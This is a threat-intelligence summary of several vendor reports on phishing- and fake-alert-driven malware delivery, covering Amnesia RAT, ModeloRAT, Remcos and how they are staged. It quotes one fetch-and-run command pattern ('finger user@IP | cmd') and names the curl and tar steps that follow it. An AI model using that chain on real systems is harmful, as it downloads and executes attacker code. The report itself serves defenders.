Malware Delivery via Social Engineering: Phishing Lures, Fake Browser Alerts, and Paste-and-Run Payloads
Multiple threat reports describe social-engineering-driven malware delivery leading to remote access and follow-on payload deployment. Fortinet observed a multi-stage phishing campaign targeting users in Russia that delivers Amnesia RAT and ransomware via business-themed decoy documents and a malicious .lnk shortcut using a double extension (e.g., *.txt.lnk). The infection chain uses public cloud services for staging—GitHub for scripts and Dropbox for binary payloads—and abuses defendnot to trick Windows into believing a third-party AV is installed, effectively disabling Microsoft Defender before later-stage execution.
Separately, Huntress attributed activity to KongTuke, which uses malicious browser extensions to display fake “browser crash” security alerts (“CrashFix”) that pressure users into running attacker-provided commands, and also deploys a Python RAT dubbed ModeloRAT. ModeloRAT is described as heavily obfuscated, using Windows Registry persistence and RC4-encrypted communications, with the ability to deliver additional payloads (DLLs, executables, scripts). Red Canary’s January intelligence update highlights Scarlet Goldfinch activity using paste-and-run lures and a notable technique of using the Windows finger client to pull remote content (e.g., finger user@IP | cmd), followed by curl download of an archive masquerading as a PDF and extraction via tar -xf, culminating in Remcos (and sometimes NetSupport) delivered via DLL sideloading.
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